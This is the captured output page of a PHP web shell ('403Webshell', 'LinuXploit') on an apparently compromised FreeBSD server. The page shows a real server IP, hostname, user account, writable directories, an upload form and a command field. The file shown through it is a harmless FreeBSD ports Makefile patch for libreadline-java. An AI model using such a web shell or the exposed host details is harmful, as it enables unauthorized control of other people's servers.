403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.103
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/devel/libreadline-java/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/devel/libreadline-java/files/patch-src_native_Makefile
--- src/native/Makefile.orig	2003-01-07 10:14:35 UTC
+++ src/native/Makefile
@@ -38,25 +38,31 @@ ifeq (MSC,$(WIN32))
 INCLUDES = -I "c:/Programme/DevStudio/VC/include" \
 			-I $(JAVAINCLUDE) -I $(JAVANATINC)
 LIB = "c:/Programme/DevStudio/VC/lib"
-CC = cl
+#CC = gcc
 OBJ_EXT := obj
 LIB_PRE := 
 LIB_EXT := dll
 CFLAGS=-DWIN32=$(WIN32) -D__IBMC__
 else
-INCLUDES          = -I $(JAVAINCLUDE) -I $(JAVANATINC)
-LIBPATH           = -L/usr/lib/termcap 
-JavaReadline_LIBS = -lreadline -ltermcap -lhistory
-JavaEditline_LIBS = -ledit -ltermcap
+INCLUDES          = -I $(JAVAINCLUDE) -I $(JAVANATINC) -I $(LOCALBASE)/include
+ifeq (JavaEditline,$(TG))
+LIBPATH           = -L$(LOCALBASE)/lib -rpath $(LOCALBASE)/lib
+endif
+ifeq (JavaReadline,$(TG))
+LIBPATH           = -L$(LOCALBASE)/lib -rpath $(LOCALBASE)/lib
+endif
+JavaReadline_LIBS = -lreadline -lncurses -lhistory
+JavaEditline_LIBS = $(LOCALBASE)/lib/libedit.so -lncurses
 ifeq (cygwin,$(WIN32))
 JavaGetline_LIBS = -lcygwin
 endif
-CC = gcc
+CC = cc
 OBJ_EXT := o
 LIB_PRE := lib
 LIB_EXT := so
-CFLAGS=-fPIC -DPOSIX
+CFLAGS+=-fPIC -DPOSIX
 endif
+JAVAH ?= javah
 
 
 OBJECTS := org_gnu_readline_Readline.$(OBJ_EXT)
@@ -69,13 +75,13 @@ all: $(T_LIBS) 
 lib: $(ROOTDIR)/$(LIB_PRE)$(TG).$(LIB_EXT)
 
 JavaReadline:
-	make TG=$@ lib
+	$(MAKE) TG=$@ lib
 
 JavaEditline:
-	make TG=$@ lib
+	$(MAKE) TG=$@ lib
 
 JavaGetline:
-	make TG=$@ lib
+	$(MAKE) TG=$@ lib
 
 $(ROOTDIR)/$(LIB_PRE)$(TG).$(LIB_EXT): $(OBJECTS)
 ifeq (MSC,$(WIN32))
@@ -110,7 +116,7 @@ org_gnu_readline_Readline.$(OBJ_EXT): or
 	                                   -c org_gnu_readline_Readline.c
 
 org_gnu_readline_Readline.h: $(BUILDDIR)/org/gnu/readline/Readline.class
-	javah -classpath $(BUILDDIR) -jni org.gnu.readline.Readline
+	$(JAVAH) -classpath $(BUILDDIR) -jni org.gnu.readline.Readline
 	touch org_gnu_readline_Readline.h
 
 clean:

Youez - 2016 - github.com/yon3zu
LinuXploit